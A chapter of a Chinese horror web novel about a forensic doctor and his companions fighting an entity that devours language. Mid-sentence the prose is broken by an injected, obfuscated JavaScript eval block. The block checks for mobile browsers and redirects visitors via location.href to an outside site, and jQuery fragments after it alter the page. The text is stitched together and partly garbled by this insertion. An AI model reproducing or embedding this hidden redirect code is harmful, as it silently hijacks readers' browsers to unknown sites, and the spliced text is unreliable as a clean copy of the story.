晨雾在窗外旋出细密的螺旋，像某种生物正在用雾气编织视网膜。
沈默的指节抵着床头柜，指腹能摸到木纹里渗进的消毒水味。
苏晚萤的病床离窗三步远，他却觉得这三步路走了整宿——从凌晨抱着铅盒回来，到此刻晨光漫过她发梢，他的白大褂口袋里还装着那枚微型邮戳，血渍已经凝成暗红的痂。
她又在回避了。
方才他试着递温水杯，杯沿的铜扣刚碰到她手背，她睫毛猛地一缩，像被烫到似的侧过脸。
更早时护士换输液袋，金属挂钩碰撞发出轻响，她整个人往被子里蜷了蜷，指甲在床单上掐出月牙印。
最让他心跳漏拍的是半小时前，护工推着带滚轮的病历车经过，车轮碾过地面的摩擦声里混着点笔尖刮纸的刺啦响——她的喉结动了动，原本搭在被单上的手突然攥成拳，指节泛白。
“晚萤。”他蹲下来，平视她的眼睛。
监测仪的绿光在她瞳孔里碎成星子，“你在怕什么？”
她的目光扫过他胸前的工牌——金属牌边缘有道细痕，是上周解剖时镊子磕的。
然后移向他腕间的手表，最后停在他左手背的旧疤上。
那是高中做化学实验时烧杯炸的，当时他咬着牙把碎玻璃抠出来，现在这道疤像条褪色的蚯蚓。
她突然抬起手，食指轻轻碰了碰他的旧疤。
这个动作太轻，轻得像片羽毛。
但沈默的呼吸顿住了——三天前她还能写字交流，用便签纸歪歪扭扭写“想喝绿豆汤”；两天前便签纸被她揉成团塞进枕头底；昨天开始，连手势都变得迟疑，仿佛每个动作都要穿过层黏腻的膜。
“我去查了修复室的档案。”他从西装内袋抽出个牛皮纸袋，封条上还沾着档案馆的浆糊味，“你修复过的三十七件旧物，每一件的残响记录里都写着‘未完成的遗言’。”
她的瞳孔微微收缩。
“绣着并蒂莲的肚兜，原主人难产时攥着它说‘让我再摸摸他的脸’；缺了耳的青花瓷瓶，刻着‘阿爹，我在南洋能吃饱’的信没寄出去；还有那面铜镜——”他翻出张照片，镜面裂痕里夹着半枚干花，“原主人临终前对着镜子说‘阿姐，我把你教我的女红都绣完了’。”
监测仪的滴答声突然变快。
“你总说‘旧物是会说话的’。”沈默的拇指摩挲着纸袋边缘，“现在我明白，不是它们在说话，是你在替它们说。你把那些没说出口的话都收进了自己身体里，像块海绵吸饱了水……所以‘残响之胃’才会盯上你。”
窗外的雾突然转急，撞在玻璃上发出细碎的响。
苏晚萤的手指在床单上划动，这次没有停在横线上。
她划了个圈，又点了三点，像在写“水”字的偏旁。
然后突然抓住他的手腕，指甲几乎掐进他血管里——她在指他白大褂口袋，那里装着解剖刀。
“小舟来了。”
走廊传来急促的脚步声，比护士换班的节奏快三倍。
小舟的蓝布衫角先探进病房，他的手指在胸前快速翻飞，手语打得很急：“静默区在扩张。”
沈默松开苏晚萤的手，转身时瞥见她眼底闪过丝慌乱，像生怕他就此离开。
他冲她比划了个“等我”的手势，跟着小舟走到楼梯间。
楼梯间的窗户没关，风卷着雾灌进来。
小舟掏出块碎镜片，是从公共电话亭揭下来的，玻璃背面沾着暗褐色的东西，像干涸的胶水。
他把镜片按在沈默掌心，另一只手在空气中写：“地铁报站到第三站就停，新闻主播嘴动没声，昨天有个婴儿哭到第三声……”他的喉结动了动，手指猛地攥成拳，又缓缓张开，“没了。”
沈默摸出解剖刀轻轻刮镜片背面，褐色物质沾在刀刃上，凑近闻有股铁锈混着墨汁的味道。
“它们不是坏了。”他复述小舟的话，“是被捂住了嘴。”
小舟的手指突然抽搐般颤抖，他抓住沈默的手腕，在他手心里一笔一划写：“语言是养分。”
这个认知像根冰锥扎进脊椎。
沈默想起铅盒里那些被撕成碎片的解剖记录，想起阿彩故意多拖的那道捺，想起周工刻碑时特意留下的错字——原来他们之前所有对抗，都是在给“胃”节食。
而现在，当城市里的语言开始沉默，当该发声的事物被强行噤声……
“叮——”
手机震动，是阿彩的消息：“来老城墙，我的涂鸦被修正了。”
老城墙下的涂鸦墙泛着湿意，晨雾裹着青苔味。
阿彩的喷漆罐滚在脚边，罐身还沾着新鲜的绿色漆料。
她面前的墙上，原本歪歪扭扭的“死不了的才叫活着”已经变成标准的印刷体，每个字都方方正正，像从字典里抠下来的。
“昨晚十点还好好的。”阿彩的指甲缝里全是漆渍，“今早就成这样了。我去了另外六个点，全被修正了。”她突然抄起喷漆罐，对着“活着才是生命的证明”猛喷，这次她没有涂改，而是把字序彻底打乱：“活叫死不的了才”。
最后一个“才”字喷完时，头顶的路灯突然闪了三下。
“它在回应我。”阿彩的声音发颤，却笑得很凶，“之前我改字是喂它吃错的，现在我连句子都拆了，看它还能不能消化！”
沈默摸出手机拍墙，镜头里的乱码在雾中泛着幽蓝，像某种生物的触须。
他想起解剖室那具新送来的无名尸，死者喉部肿得像塞了个拳头——当时他划开气管，取出的那团灰白纤维，在显微镜下分明是“他从小怕黑”的“黑”字结构。
“封锁解剖室。”他给助手发消息，“所有案情记录用符号，禁止口述。”
助手秒回：“明白。”
但有些事不是封锁能阻止的。
当夜十点，沈默站在停尸柜前，冷光灯把他的影子拉得老长。
无名尸的眼角渗出黑色液体，顺着柜壁往下淌，在金属表面缓缓拼出个“告”字——上半部分的“牛”已经成型，下半部分的“口”只画了半道横。
“它在说‘告’。”沈默戴上橡胶手套
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16324575|182836||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，用棉签蘸了点黑液，“告谁？告什么？”
棉签碰到黑液的瞬间，他的后颈泛起凉意。
这液体的触感太像苏晚萤枕头边那滩泪渍，同样的黏腻，同样的带着股陈旧的纸页味。
回到病房时，苏晚萤正站在窗前。
她的病号服下摆沾着玻璃碎屑，指甲缝里全是血，窗玻璃上三道划痕深可见底：“它饿疯了。”
几乎同时，沈默的手机震动起来。
全市数百块电子屏的监控画面在他手机里跳成一片雪花，三秒后恢复正常时，他截到张图——乱码里藏着串点划，是摩斯密码。
“救我。”
译码结果让他的手指猛地收紧，手机差点摔在地上。
更让他血液凝固的是呼号频率——和父亲当年在地质队用的无线电频率分毫不差。
那年父亲在秦岭失踪，最后一条消息就是用这个频率发的：“地裂了，有东西在下面……”
晨雾不知何时散了，窗外的天空泛着青灰色。
沈默握着手术刀，刀锋在晨光里闪着冷光。
他盯着手机里的摩斯密码截图，突然发现频率波动的尾音有些异样——像有人在信号里掺了沙子，又或者，这根本不是来自任何已知的发射设备。
他把手术刀在掌心转了半圈，刀尖轻轻抵住自己虎口。
那里有道新疤，是方才掰苏晚萤指甲时被划的。
疼痛让他的思维更清晰：“它开始模仿了。模仿受害者，模仿我父亲……”
监测仪突然发出刺耳的警报。
沈默猛地抬头，苏晚萤正盯着他手里的手术刀。
她的眼睛亮得惊人，像是有团火在里面烧。
然后她抬起手，用带血的指甲在空气里划了三个虚虚的痕迹——是“小心”的“小”字。
窗外的风卷着最后一缕雾掠过，带起她额前的碎发。
沈默忽然想起铅盒入土时地下传来的闷响，想起阿彩喷漆时路灯的闪烁，想起解剖刀下那团文字纤维。
所有碎片在他脑海里拼出个模糊的轮廓：“它不再满足于吞噬语言，它开始学习说话了。”
手机在他掌心再次震动，是助手发来的消息：“停尸柜的‘告’字，下半部分的‘口’写完了。”
沈默低头看苏晚萤，她的嘴唇动了动，这次他看懂了——她在说“听”。
整座城市的声音突然沉了下去。
远处传来地铁报站声，这次没有在第三站中断，而是清晰地念完了全程：“下一站，中心医院。”但那声音太完美，完美得像用录音软件修过一百万次。
沈默握紧手术刀，刀刃压进掌心的旧疤。
疼痛顺着神经窜上脊椎，他听见自己的心跳声在耳朵里轰鸣——比任何电子仪器都真实。
手机屏幕亮起，摩斯密码的发射源定位结果跳出来。
他盯着那个不断闪烁的“未知”，突然笑了。
“很好。”他对着空气说，声音轻得像片羽毛，“现在我知道该怎么喂你吃第二把碎玻璃了。”